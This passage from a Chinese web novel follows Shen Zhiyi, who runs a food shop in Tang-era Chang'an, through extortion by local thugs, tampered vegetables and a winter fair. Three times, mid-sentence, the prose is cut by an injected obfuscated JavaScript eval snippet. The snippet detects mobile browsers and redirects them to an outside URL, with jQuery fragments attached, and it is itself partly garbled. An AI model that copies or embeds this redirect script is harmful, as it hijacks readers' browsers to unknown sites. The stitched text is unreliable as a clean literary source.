翌日，那采办便满脸喜色地亲自来了，一见沈知意便拱手道：“沈小娘子，你那‘水晶龙凤糕’可真是神了！我家老夫人尝了，欢喜得不得了，连说清爽可口，寓意又好！当下便定了，寿宴那日的点心，就交由小娘子操办！这是定金！” 他递上一个沉甸甸的锦囊，又道：“老夫人还问，可能做出寿星、仙鹤等更繁复的造型？” “能！” 沈知意压下心中激动，肯定答道。 “民女定当尽力，不负所托！” 接下这笔订单，沈记食肆仿佛注入了一剂强心针。 沈知意日夜琢磨雕刻更复杂的模具，调试馅料口味。 邹娘子手脚麻利，学得极快，已能帮她分担不少揉面、压模的活计。 连沈砚也撑着病体，帮着挑选红枣、剥莲子。 小小的食肆里，充满了忙碌而充满希望的气息。 然而沈知意并未忘记张胖子那日的威胁。 她悄悄打听了邹娘子的情况，知其夫确是在西域失踪，并非逃奴，心下稍安，但仍嘱咐邹娘子平日尽量少独自外出。 这日傍晚，沈知意正在雕刻一个新模具，忽见阿努一阵风似的跑进来，神色有些紧张，低声道：“小娘子，我刚在酒肆听几个喝多的闲汉说……那张胖子好像搭上了东市一个什么‘虎爷’，像是……像是要对你使坏！你可得千万小心！” “虎爷？” 沈知意心中一凛。 那是东市一带有名的市井恶霸，专放印子钱，手下养着一批打手，名声极臭。 张胖子自己奈何不了她，竟想借恶霸之手？ 19. 第 19 章 阿努带来的消息，像一块冰瞬间浇灭了沈记食肆里连日来的暖意。 “虎爷？” 福伯的声音都在发颤，脸色惨白如纸。 “东市那个放印子钱、手下养着一群打手的虎爷？张胖子……张胖子竟敢勾结他？！” 邹娘子更是吓得手脚发软，手里的抹布掉在地上，嘴唇哆嗦着，几乎要哭出来：“他们……他们想干什么？六娘……咱们、咱们报官吧？” 沈知意强迫自己冷静下来，心却沉甸甸地往下坠。 虎爷的名声，她早有耳闻。 那是真正的市井恶霸，行事狠辣，据说与某些衙门胥吏也有勾结，寻常商户根本不敢招惹。 张胖子此举已是狗急跳墙，要下死手了。 “报官？” 沈知意摇摇头，声音低沉。 “无凭无据，官府岂会理会？即便来了，只怕也是和稀泥，反倒打草惊蛇。” 她深吸一口气，目光扫过惊惶的福伯和邹娘子。 “这几日，大家务必小心。邹娘子，你暂住店里，莫要独自归家。福伯，采买尽量结伴快去快回。打烊后立刻锁好门窗。” 她顿了顿，看向角落里闻言面露忧色的兄长沈砚，努力挤出一个安抚的笑容：“阿兄别担心，兵来将挡，水来土掩。咱们行得正坐得直，不怕他使阴招。” 话虽如此，接下来的两日，食肆里的气氛明显紧绷了许多。 每个人做事都带着几分小心翼翼，听到门外稍有异响便如惊弓之鸟。 沈知意更是打醒十二分精神，对采购的食材检查得格外仔细，生怕被人做了手脚。 然而，该来的终究躲不过。 第三日午后，食客渐稀。 沈知意正专心致志地雕刻着一枚新的寿桃模具，邹娘子在角落洗碗，福伯则在门口洒扫。 突然，街道上传来一阵嚣张的呼喝声和杂乱的脚步声。 五六个穿着短打衣衫、满脸横肉、一看便非善类的汉子，簇拥着一个身材矮壮、面色黝黑、脖颈上刺着狰狞青纹的汉子，大摇大摆地走了过来，直接堵在了沈记食肆门口。 为首那刺青汉子，三角眼闪烁着凶光，目光在店内一扫，最后落在沈知意身上，咧嘴露出一口黄牙，声音沙哑难听：“你就是沈记的老板娘？” 福伯吓得手里的笤帚都掉了，连连后退。 邹娘子更是缩到墙角，瑟瑟发抖。 沈知意放下刻刀，缓缓站起身，心脏狂跳，手心沁出冷汗，面上却竭力保持镇定：“诸位是哪条道上的好汉？来小店有何贵干？” “哼，哪条道？” 刺青汉子嗤笑一声，大马金刀地往门口长凳上一坐，一脚踩在凳面上。 “老子行不更名坐不改姓，东市虎爷麾下，黑蝎子便是！听说你这小娘们生意做得不地道，抢了隔壁张掌柜的饭碗，还纵容来历不明的逃奴？虎爷让我来问问，有没有这回事啊？” 他话音未落，身后一个混混便猛地一脚踹翻门口摆着的水桶，脏水顿时流了一地。 另一个则故意用棍子敲打着门框，发出“梆梆”的巨响，吓得路过行人纷纷避让。 “黑蝎子大哥怕是听错了。” 沈知意强压怒火，声音尽量平稳。 “西市做生意，各凭本事，何来抢饭碗一说？至于我店中帮工邹娘子，身世清白，绝非逃奴，左邻右舍皆可作证。” 黑蝎子猛地一拍桌子，震得碗筷乱响，“证你娘个证！老子说你是，你就是！识相的，立刻关了这破店，给张掌柜磕头赔罪，再拿出十贯钱孝敬虎爷，这事就算了了！不然……” 他狞笑着，目光扫过店内，“老子今天就砸了你这破店，再把那来历不明的娘们抓去官府！” 他身后的混混们配合着上前一步，摩拳擦掌，气势汹汹。 福伯急得直跺脚，几乎要跪下哀求：“好汉！使不得啊！我们小本经营……” “老东西滚开！” 一个混混一把推开福伯。 沈知意急忙扶住踉跄的福伯，心中怒火几乎要冲破胸膛。 她知道，跟这些人讲道理毫无用处，他们就是来找茬勒索的！ 突然，一个苍老却中气十足的声音突然从人群外响起：“哪里来的泼皮！敢在西市撒野！” 众人循声望去，只见浆饮铺的阿婆拄着拐杖，气得浑身发抖，站在街对面。 她这一声喊，仿佛是个信号。 铁匠铺的张大叔拎着一把烧红的铁钳就冲了出来，怒吼道：“狗娘养的！敢欺负六娘！老子跟你们拼了！” 隔壁杂货铺的老板娘也抄起一把扫帚，尖声道：“还有没有王法了！光天化日敲诈勒索！” “欺负女人算什么本事！” “滚出西市！” 左邻右舍的商户们，平日或许各有计较，但此刻见沈知意受欺，又感念她平日为人厚道，时常分享吃食，竟纷纷站出来，拿着趁手的家伙，围拢过来。 虽不敢真上前动手，却也将黑蝎子一行人围在了中间，七嘴八舌地斥责起来。 黑蝎子显然没料到这小小食肆竟有这般人缘，脸色顿时阴沉下来。 他虽凶悍，却也不愿在众目睽睽之下真把事情闹得太大，毕竟西市也有西市的规矩。 “哼！一帮穷酸！” 他站起身，恶狠狠地瞪了沈知意一眼。 “小娘们，有点人缘？好！老子今天给街坊们一个面子！但话给你撂这儿！三天！三天之内，不给虎爷一个满意的交代，就别怪老子心狠手辣！我们走！” 他撂下狠话，带着一群混混骂骂咧咧地推开人群扬长而去。 这场危机暂时化解，食肆内却一片死寂。 福伯老泪纵横，邹娘子低声啜泣，沈知意扶着门框只觉得双腿发软，后背已被冷汗湿透。 邻舍们围上来，纷纷安慰。 “六娘，别怕！他们敢再来，咱们一起报官！” “对！西市不是他们东市泼皮撒野的地方！” 沈知意连声道谢，心中却知事情远未结束。 黑蝎子给了三天期限，绝非虚言恫吓。 虎爷那种人，不得好处绝不会罢休。 接下来的两日，沈知意几乎夜不能寐。 她深知，指望街坊每次都能吓退恶徒是不现实的。 必须想办法彻底解决这个麻烦。 要么，找到能压制虎爷的人或势力。 要么，让虎爷觉得动她得不偿失。 她想到了苏晏清，但立刻否定了。 苏录事已帮她多次，且其身份清贵，不宜与市井恶霸牵扯。 艾山行踪不定，阿努家毕竟是胡商，恐也难以直接对抗地头蛇。 似乎只剩下一条路，让虎爷觉得她不好惹，或者，她背后有人。 正当她心乱如麻之际，那位官员家的采办又来了，催问寿宴点心准备得如何，老夫人甚是期待。 沈知意猛地回过神来。 眼下，办好这场 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16413287|184455||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 寿宴，或许就是一线转机。 若能借此与官家搭上关系，哪怕只是微不足道的一点香火情，也足以让虎爷之流有所忌惮。 她压下心中焦虑，全力投入到寿点的制作中。 她将新雕的寿桃、仙鹤、蝙蝠模具反复调试，力求每一个“水晶龙凤糕”都晶莹剔透、纹路清晰、寓意吉祥。馅料也精益求精，枣泥莲蓉研磨得极其细腻，甜度恰到好处。 寿宴前一日，她将精心制作的各式“水晶龙凤糕”装入铺着新鲜荷叶的食盒，亲自随采办送至府上。 那官员府邸门庭森严，她未能入内，只在外院偏厅等候。 不多时，采办满面春风地出来，递上一个丰厚的赏封，连声道：“老夫人极是满意！赞小娘子手艺精巧，心思玲珑！日后府中若有需求，定再相请！” 沈知意心中稍安，谢过之后，并未立刻离开，而是状似无意地轻声对采办道：“多谢管事提携。只是近日小店似招惹了些市井小人，时常前来搅扰，恐影响了日后为贵府备办点心……唉，也不知该如何是好。” 她语气为难，却点到即止。 那采办久居京城，何等精明，闻言眉头一皱：“哦？竟有此事？是何人如此大胆？小娘子不必过于忧烦，安心做你的生意便是，些许宵小，翻不起大浪。” 他虽未明说，但语气中的维护之意已十分明显。 沈知意要的就是这句话。 她连忙躬身道谢，这才告辞离去。 有了这层若有若无的依仗，沈知意心中踏实了不少。 回到食肆，她立刻让福伯去寻了西市管理杂役的小头目，悄悄塞了些钱，只言近日有东市泼皮前来搅扰，望其平日多关照一二。 那小头目平日也没少得沈记好处，又隐约听闻其与某官员府上有往来，自是满口答应。 三日期限到的前一天傍晚，黑蝎子果然又带着人来了，只是这次气势似乎弱了些许。 沈知意早有准备，不待他开口，便主动迎上前，神色平静道：“黑蝎子大哥，虎爷的‘好意’我心领了。只是小店近日承蒙秘书省李大人府上青眼，为其老夫人寿宴制备点心，实在分身乏术，恐无力他顾。至于张掌柜那边，西市做生意，各有缘法，还望虎爷明察。” 她话语柔和，却刻意点出了“秘书省李大人府上”和“寿宴”这几个字眼，既示弱又暗含警告。 黑蝎子闻言，三角眼眯了眯，盯着沈知意看了半晌，似乎在掂量她话中真假。 京城官员多如牛毛，一个校书郎或许不算什么，但也不是他们这些市井混混能轻易招惹的。 更何况，对方似乎早有准备，神色镇定，不似虚张声势。 他冷哼一声：“哼，算你还有点门道！老子今日还有事，没空跟你啰嗦！但你给老子记住了，这事没完！走着瞧！” 他撂下几句场面话，终究没敢再动手，带着人悻悻离去。 望着他们消失在街角的背影，沈知意长长舒了一口气，冷汗这才彻底浸透内衫。 这一关，总算暂时熬过去了。 但她知道，以虎爷和张胖子的性子绝不会轻易罢休。 暂时的退让，只是为了更狠的反扑。她必须更快地积蓄力量，才能真正在这长安西市站稳脚跟。 夜色中，她望向窗外西市零星的灯火，心中盘算着下一步的计划。 扩大食肆规模、增加人手、研发更多能带来稳定收益的新品……路还很长，但她已不再是最初那个孤立无援的沈六娘了。 20. 第 20 章 黑蝎子一伙人悻悻离去后，沈记食肆内紧绷的气氛并未立刻消散。 连着几日，福伯和邹娘子都心有余悸，稍有风吹草动便如惊弓之鸟。 沈知意面上镇定，心中那根弦也始终紧绷着。 她知道，虎爷和张胖子绝不会善罢甘休，暂时的退让只是暴风雨前的宁静，必须更快地积蓄力量，让这间小小的食肆真正变得难以撼动。 眼下已入深冬，长安城寒风刺骨，呵气成霜。 西市街道上的行人愈发稀少，即便出门，也多是步履匆匆，缩着脖子，寻求着能驱寒饱腹的热食。 沈记食肆的生意虽未受太大影响，但增长也陷入了停滞。 沈知意敏锐地察觉到，冬日里，人们更渴望温暖、滋补、能带来热量的食物。 她那碗热腾腾的豚肉臊子面和香酥的胡麻髓饼固然受欢迎，但似乎还缺了点什么。 这日清晨，她冒着严寒去西市采买，见一老翁蹲在街角，面前摆着几个麻袋，里面是各种色泽不一、颗粒饱满的杂粮：小米、黄米、红豆、绿豆、芸豆、花生、莲子……还有一小袋珍贵的薏米。 “老丈，这些米豆怎么卖？” 沈知意蹲下身，抓起一把金黄的小米，颗粒圆润，散发着淡淡的米香。 老翁抬起冻得发红的脸，呵着白气道：“小娘子，都是自家地里收的好东西，熬粥最是养人！天冷了，买些回去给家人熬锅热粥，暖胃又暖心！” 熬粥？沈知意心中一动。是啊，寒冬腊月，还有什么比一锅热气腾腾、用料扎实的暖粥更熨帖人心的呢？寻常人家熬粥，多是单一米类，若她能…… 一个念头瞬间闪过脑海。 她将老翁的杂粮每样都称了一些，又去干货铺子买了些红枣、桂圆、核桃仁，最后甚至咬牙买了一小包价格不菲的糖渍橘皮丝。 回到食肆，她将各种米豆仔细淘洗干净，红豆、芸豆等不易煮烂的先行浸泡。 大锅注入清水，先将泡好的豆类下锅，大火烧开，转文火慢熬。待豆粒渐渐酥软，再依次加入小米、黄米、薏米。粥汤渐渐变得粘稠，米香豆香混合着升腾的热气弥漫开来。 福伯吸着鼻子凑过来：“六娘，这是要熬腊八粥？可还没到腊月呢……” “不是腊八粥，是‘七宝五味粥’。” 沈知意笑着摇头，将去核的红枣、捏碎的桂圆肉、核桃仁依次投入锅中。 “冬日寒苦，需得五脏俱全，五味调和，才够滋补。” 粥在锅中咕嘟咕嘟地冒着泡，色泽渐渐变得丰富，米白、豆红、枣深、桂圆褐……各种食材的香气也层层叠叠地交融在一起，醇厚而温暖。 最后，她撒入一小撮盐提鲜，又加入少许饴糖增加甘润，临出锅前，才撒上那金黄的糖渍橘皮丝，瞬间增添了一抹清新的果香和亮色。 一大锅浓稠滚烫、内容丰富的“七宝五味粥”便熬好了。 沈知意另起一小锅，熬化了些许红糖，做成淡淡的糖卤，供食客按需添加。 “福伯，挂出新牌：‘七宝五味粥’，八文一碗，加糖卤另添一文。” 新粥上市，立刻受到了食客们的欢迎。 在这呵气成冰的早晨，一碗用料扎实、热气腾腾、甜咸可选、暖胃又顶饱的杂粮粥，无疑比干啃胡麻饼或一碗汤面更让人觉得慰藉。 尤其是那些一早出来赶工卖苦力的脚夫、帮闲，花上八文钱，就能喝得浑身冒汗，手脚回暖，自是纷纷掏钱。 “小娘子，这粥熬得地道！料足！喝下去浑身都舒坦！” “再加勺糖卤，美得很！比那甜浆实在多了！” 食肆里坐满了喝粥的食客，吸溜吸溜的声音此起彼伏，驱散了冬日的寒意，也带来了实实在在的收益。一锅粥看似单价不高，但用料多为价廉的杂粮豆类，利润反而比一些精细点心更可观。 沈知意并未满足。她见粥品受欢迎，便又陆续推出了“鸡丝菌菇粥”、“鱼片生滚粥”等稍贵但更鲜美的咸粥，满足不同食客的需求。 食肆的早晨，变得越发忙碌和温暖。 然而，树欲静而风不止。 这日晌午，沈知意正在灶台边忙着炒制臊子，忽见邹娘子白着脸，慌慌张张地从外面跑进来，手里攥着一把蔫黄的菘菜。 “六、六娘……不好了……”邹娘子声音发颤，将手里的菘菜递过来，“你、你看这菜……” 沈知意接过菘菜，仔细一看，心猛地一沉。 只见那菘菜靠近根部的菜帮上，竟有着几个不易察觉的细小孔洞，边缘发黑，轻轻一捏，便有浑浊的汁液渗出，明显是被人用针一类的东西注射了脏东西！ “这是哪来的？” 沈知意厉声问，头皮一阵发麻。 “就、就是早上送来的那筐……我方才洗菜时才发现……”邹娘子快哭出来了，“这、这是有人要害我们啊！” 若是这被动了手脚的菜被客人吃下……后果不堪设想！ 沈知意强迫自己冷静，立刻道：“快，把早上送来的所有菜都仔细检查一遍。但凡有可疑的，全部挑出来！” 福伯和邹娘子连忙动手，将早上采购的所有蔬菜逐一翻检，果然又找出几颗同样被动过手脚的菘菜和萝卜。 三人的脸色都难看至极。 “定是那张胖子！黑心烂肺的东西！” 福伯气得浑身发抖。 沈知意面色冰寒，心中后怕不已。 对方竟用如此阴毒的手段！ 若非邹娘子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16417103|184455||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心细，今日恐怕就要酿成大祸！ 她立刻让福伯将那些被动过手脚的菜全部悄悄销毁，又将今日所有售出的食物在心中过了一遍，确认并无使用那些问题蔬菜，这才稍稍安心。 但经此一事，她意识到对方的毒计防不胜防。 采购食材这一关，必须更加小心。 次日，她不再让福伯去固定的菜摊采购，而是亲自前往，并且每日更换不同的摊位，采购时格外仔细地检查。 她还暗中给了西市管理杂役的小头目一些好处，请其平日多加留意，若有生面孔或可疑之人在食肆附近徘徊，及时告知。 即便如此，她心中仍不安稳。 对方在暗，她在明，终日提防，绝非长久之计。 就在她苦思对策之时，阿努又像一团火似的跑来了，这次脸上却带着兴奋的神色。 “六娘！六娘！好事！大好事！”她一进门就嚷嚷道。 “何事让阿努小娘子如此高兴？” 沈知意勉强笑了笑。 “是我们胡商行的‘暖寒会’！”阿努碧眼放光，“每年冬至前后，西市几家大的胡商行会联合起来，在波斯邸前的空场上举办‘暖寒会’，摆出酒肉吃食，宴请往来的商队、相熟的客户，也允许百姓围观品尝，热闹得很！算是冬日里最热闹的盛会了！” 她拉住沈知意的手：“我阿塔说了，今年暖寒会，想请你家的‘胡麻髓饼’和新做的肉串去撑场面！价钱好商量！这可是扬名立万的好机会啊！好多胡商大贾都会来！” 暖寒会？沈知意心中一动。这确实是扩大知名度、结交人脉的绝好机会。 若能在这场盛会上打出名头，或许能让虎爷和张胖子之流有所忌惮。 但她立刻想到食材安全的问题。 在那种人多眼杂的场合，若是有人存心捣乱…… 见她犹豫，阿努急道：“哎呀！你担心什么？食材由我们酒肆统一提供，绝对干净！你只需出手艺和人！赚的钱我们对半分！怎么样？” 由酒肆提供食材？这倒解了她的后顾之忧。 沈知意沉吟片刻，终于点头：“好，承蒙康掌柜和阿努小娘子看得起，知意定当尽力。” “太好了！”阿努欢喜地跳起来，“我这就回去告诉阿塔！到时候，定让那些胡商都尝尝咱们长安小娘子的好手艺！” 送走阿努，沈知意心中激荡。 暖寒会……这或许真是破局的关键一步。 她立刻召集福伯和邹娘子，将此事告知，并开始紧锣密鼓地准备。 她需要计算所需的面粉、香料、肉量，还要提前准备好便于携带和烤制的工具。 这无疑是一项繁重的工作，但三人的眼中都燃起了希望的光芒。 21. 第 21 章 暖寒会的消息，如同冬日里投入冰湖的一颗石子，在沈记食肆漾开了一圈希望与紧张的涟漪。 接下这桩生意，意味着巨大的机遇，也意味着前所未有的压力。 胡商云集的暖寒会，往来多是见多识广、口味挑剔的商贾，寻常吃食难以出彩。 且要在露天场地、众目睽睽之下现场制作，对厨艺、速度乃至应变能力都是极大的考验。 沈知意不敢怠慢，立刻与阿努详细核对了流程。 暖寒会定在三日后波斯邸前的广场，自午时开始，持续至日落。 胡姬酒肆负责提供场地、食材、炭火及基本器皿，沈知意则需带一至两名帮手，负责“胡麻髓饼”和“炙肉串”的现场烤制，售出所得与酒肆对半分。 “阿努小娘子，食材务必确保新鲜洁净，尤其是肉类，需当日清晨现宰现送。”沈知意郑重叮嘱。 经历了之前的投毒风波，她对食材安全格外敏感。 “放心！”阿努拍着胸脯保证，“我阿塔亲自盯着！绝不出错！倒是你，六娘，那天人多眼杂，你可得多带个帮手，忙不过来！” 帮手……沈知意沉吟。 福伯年事已高，体力恐难支撑整日的露天劳作。 邹娘子手脚麻利，但性子怯懦，面对那种大场面怕是会紧张出错。 兄长沈砚身体刚有起色，更不能劳累。 她思忖片刻，心中有了计较。 翌日，她让福伯去铁匠铺寻了张大叔，言明暖寒会需临时雇请两个手脚利落、力气足的帮工，一日工钱五十文，管两餐饭。 张大叔闻言，二话不说，便推荐了铺子里两个信得过的年轻学徒，一个叫大牛，一个叫栓子，都是憨厚肯干的实诚小伙子。 沈知意见过两人，简单问了话，便定了下来。 又提前一日，让两人来食肆，熟悉了烤饼和炙肉的基本流程，尤其是火候控制和翻面技巧。 这三日，沈记食肆仿佛一个临战前的军营。 沈知意反复调试着孜然香料的比例，力求在露天环境下香气也能霸道持久。她试验了不同的肉块切割大小和腌制时间，确保烤制时外焦里嫩。甚至连穿肉串的竹签，她都让福伯特意削磨光滑，避免木刺扎手。 终于到了暖寒会当日。 清晨，天还未亮透，沈知意便带着邹娘子、大牛和栓子到了食肆。 胡姬酒肆的仆役准时送来了两大筐新鲜羊肉、一袋袋精白面粉、各色调料和充足的木炭。沈知意亲自逐一查验过食材，确认无误，这才稍稍安心。 几人将一应物品装上借来的板车，推着赶往波斯邸前的广场。 到时，广场上已是人声鼎沸。 各家胡商行早已搭起彩棚，摆出琳琅满目的货物。 西域的葡萄美酒、波斯的织金地毯、大食的琉璃器皿、天竺的香料药材……应有尽有。 空气中混合着各种奇异浓烈的气味，穿着各色民族服装的胡商、好奇围观的长安百姓、甚至还有一些穿着体面的文人雅士穿梭其间，热闹非凡。 胡姬酒肆的彩棚位置颇佳，康老汉和阿努早已在此忙碌。 见到沈知意，阿努立刻欢快地迎上来：“六娘！你们可算来了！快！这边！炉子都给你们起好了！” 彩棚一角，两个半人高的炙炉炭火正旺，旁边还备好了长条案板、水盆等物。 沈知意指挥着大牛和栓子将东西卸下摆放整齐，自己则立刻洗手和面，准备第一炉饼胚。 邹娘子则紧张地开始清洗蔬菜，准备穿肉串的配菜。 辰时末，暖寒会正式开始。 锣鼓喧天，胡乐奏响，更有胡姬在临时搭建的矮台上翩然起舞，身姿曼妙，引来阵阵喝彩。 人流迅速向广场汇聚。 沈记的烤炉一点火，那独特的孜然香气便再次发挥了魔力。 很快，便有被香气吸引的客人围拢过来。 “小娘子，这饼怎么卖？” “肉串呢？闻着真香！” “胡麻髓饼，十文一个！炙羊肉串，十五文两串！”沈知意朗声报价。 价格比店内稍高，但在这等盛会，无人计较。 “来两个饼！” “给我来四串肉！” 生意瞬间火爆起来。 沈知意负责掌控全局，揉面、调味、看管火候；大牛和栓子一个负责贴饼翻饼，一个负责烤肉刷料；邹娘子则忙着穿肉串、收钱、递送食物。 四人配合，竟也忙而不乱。 新出炉的髓饼焦香酥脆，炙肉串滋滋冒油，香气扑鼻，很快便供不应求。 尤其是那羊肉串，肥瘦相间，烤得外焦里嫩，撒上厚厚的孜然辣椒面，味道浓郁霸道，极合那些走南闯北的胡商口味，甚至有些胡人吃完后翘起大拇指，用生硬的官话连声称赞：“好！香！长安！好！” 康老汉见状，乐得合不拢嘴，特意让酒肆伙计抱来几坛三勒浆和葡萄酒，言明买饼买肉可优惠购酒，更是带动了销售。 午时过后，人流达到顶峰。 沈记的摊位前被围得水泄不通，等待的队伍排起了长龙。 沈知意额上沁出细密的汗珠，手下动作更快。 大牛和栓子也烤得满脸通红，却干劲十足。 就连邹娘子，在最初的紧张过后，也渐渐放开了手脚，收钱递物变得利索起来。 就在一片繁忙喧嚣之中，沈知意眼角余光忽然瞥见几个熟悉又令人厌恶的身影，张胖子和黑蝎子，混在人群里，正阴恻恻地盯着她的摊位，交头接耳，不知在嘀咕什么。 她的心猛地一紧，手下动作却不停，只暗中给大牛和栓子使了个眼色，示意他们多加留意。 果然，没过多久，一个穿着体面、看似富商模样的中年男子挤到摊位前，指着烤炉上的肉串，大声道：“小娘子，给我来二十串肉！要快！我有急事！” 一次性要二十串？这几乎要搬空正在烤制的一炉。 沈知意心中疑窦顿生，面上却笑道：“客官稍候，这一炉马 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16424799|184455||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上就好，先给您装上？” “不行！我就要现烤的！等着要！” 那男子语气强硬，眼神却有些闪烁。 沈知意更加确定此人来者不善，怕是张胖子派来故意捣乱，想拖住她的烤炉制造混乱。 她正欲周旋，忽听身旁一个清朗温和的声音响起：“这位仁兄，凡事总有个先来后到。后面这许多客人还等着呢，你一人便要包圆一炉，怕是不妥吧？” 沈知意循声望去，只见苏晏清不知何时已站在摊位旁，一袭青衫，手持折扇，面带浅笑，目光却落在那富商模样的男子身上。 那男子显然认得苏晏清，脸色微变，气势顿时矮了半截，支吾道：“苏、苏录事……小人、小人确有急事……” “哦？急事？”苏晏清笑容不变，“不知是何急事，需得在此与民争食？不如说出来，让苏某也听听？” 那男子额头冒汗，不敢再看苏晏清，胡乱摆手道：“罢、罢了！不要了！不要了！” 说罢，狼狈地挤开人群溜走了。 苏晏清这才转向沈知意，微微一笑：“沈小娘子，生意兴隆。苏某循香而来，讨两个饼尝尝。” “苏录事！”沈知意又惊又喜，连忙夹出两个烤得最好的饼，用油纸包了递过去，“您怎么来了？” “今日休沐，恰逢其会。” 苏晏清接过饼，付了钱，目光似不经意地扫过人群某处。 沈知意顺势望去，只见张胖子和黑蝎子早已不见了踪影，想必是见苏晏清出面，吓得溜走了。 “多谢苏录事再次解围。” 沈知意低声道谢。 “举手之劳。”苏晏清淡然一笑，尝了口饼，点头赞道，“火候更胜往日。小娘子好手艺。” 他并未多留，拿着饼，悠然踱入人群之中。 有了这个小插曲，沈知意心中大定，手下愈发从容。 直到日落时分，暖寒会渐近尾声，人流渐稀，他们带来的面粉和羊肉早已售罄。 几人累得几乎直不起腰，但看着空空如也的食材筐和沉甸甸的钱匣，脸上都洋溢着疲惫而喜悦的笑容。 康老汉和阿努过来结算，按照约定对分了今日所得。 竟有足足十贯之多！远超平日数日的收入。 “六娘！你真是我们酒肆的福星！”阿努兴奋地拉着沈知意的手，“今日好多胡商都问起你这饼和肉呢！往后咱们还这么合作！” 康老汉也捻须笑道：“沈小娘子手艺精湛，今日辛苦了。这些许心意，还请收下。” 他又额外包了一小袋银钱，算是赏赐。 沈知意谢过，将工钱分给大牛和栓子。 两人捧着那五十文钱，喜得咧嘴直笑，连声道谢，说明日还来帮忙。 回去的路上，夕阳的余晖将几人的影子拉得很长。 虽然疲惫，但每个人心中都充满了收获的喜悦和希望。 经此一役，沈记食肆的名声，算是真正在西市，乃至部分胡商圈子里传开了。 22. 第 22 章 暖寒会的成功，如同给沈记食肆注入了一剂强心针。不仅带来了丰厚的收入，更重要的是，沈知意和她的“胡麻髓饼”、“炙羊肉串”在西市乃至部分胡商圈子里，真正打响了名号。 接下来几日，食肆的生意明显更上一层楼。 不仅老主顾来得更勤，还多了不少生面孔，有些是那日在暖寒会上尝过鲜的回头客，有些则是慕名而来。甚至有两三家小酒馆的掌柜也寻上门来，试探着询问能否每日固定供应一些髓饼和肉串。 沈知意谨慎地接下了其中两家信誉较好、位置稍远的订单，每日限量供应，价格也略有上浮。这又是一笔稳定的进项。 大牛和栓子这两个临时雇工，因着干活卖力、人也老实，沈知意便与他们说定，日后店中若有重活或需外出帮工，优先请他们，日结工钱。两人自是欢喜应下。 邹娘子经过暖寒会一番历练，胆子似乎也大了些，手脚愈发麻利，偶尔还能帮着招呼一下熟客。福伯脸上的愁容也淡了许多，算账时嘴角常带着笑。 一切似乎都在朝着好的方向发展。沈知意甚至开始盘算，等再攒些钱，或许真能将隔壁那间小隔间彻底租下来，打通之后，店面能宽敞不少。 然而，她并未被这暂时的顺遂冲昏头脑。张胖子和黑蝎子那日阴狠的眼神，如同悬在头顶的阴影，时刻提醒着她。她依旧每日亲自查验采购的食材，叮嘱福伯和邹娘子多加小心。 这日傍晚，打烊之后，沈知意正在清洗灶台，忽见浆饮铺的阿婆端着一碗热浆，神色有些不安地走了进来。 “六娘，”阿婆压低声音，将浆碗塞给她，“方才老身见那张胖子鬼鬼祟祟地在后巷，跟一个面生的货郎嘀嘀咕咕，还塞了包东西给那人……老身瞧着不像好事，你可得当心些！” 沈知意心中一凛，连忙谢过阿婆。后巷是堆放杂物和倾倒污水的地方，平日除了收夜香的，少有外人去。张胖子与陌生货郎在那里私下交易，绝非寻常。 她立刻让福伯悄悄去后巷查看。福伯回来时，脸色凝重，手里捏着一小撮褐色的粉末：“六娘，你看……在墙角发现的，闻着有点怪味，不像是寻常尘土。” 沈知意接过粉末，仔细嗅了嗅，有一股极淡的、难以形容的酸涩气味。她心中警铃大作，这绝非什么好东西！ “从明日起，后巷也需每日清扫查看，但凡有可疑之物，立刻处理掉。”她沉声吩咐，心中那股不安愈发强烈。对方一次不成，竟用如此鬼蜮伎俩，防不胜防。 必须想办法破局，坐以待毙，迟早会中招。 她思忖良久，将目光再次投向了那位曾订过寿宴点心的李校书府上。如今她与府上采办已算相熟，或许可以借此再进一步？ 次日，她特意多做了几样新琢磨的清淡点心，用食盒装好，又包上几枚品相最好的“水晶龙凤糕”，让福伯趁着送髓饼的机会，一并送至李府，只言是感谢往日关照，请老夫人尝个新鲜。 傍晚，福伯回来时，脸上带着喜色：“六娘，李府老夫人收了点心，很是欢喜，让管家传话说谢谢小娘子惦记。那管家还私下跟我说，老夫人近日胃口又有些不好，嘴里发苦，大夫说了需饮食清淡，但又不能无味，府里厨子正发愁呢……” 老夫人胃口不佳？沈知意心中一动。这或许是个机会！ 她沉思片刻，忽然想起前世一种广受欢迎的羹汤，南瓜羹。南瓜此时虽已传入，但多被视为粗贱之物，或蒸或煮，少有精细做法。其性甘温，健脾和胃，口感绵软清甜，正适合脾胃虚弱的老人。 若能以此做出一道既符合贵府要求，又美味新颖的羹品…… 说干就干。她立刻让福伯去寻了些品相好的老南瓜，又买了些杏仁、牛乳。 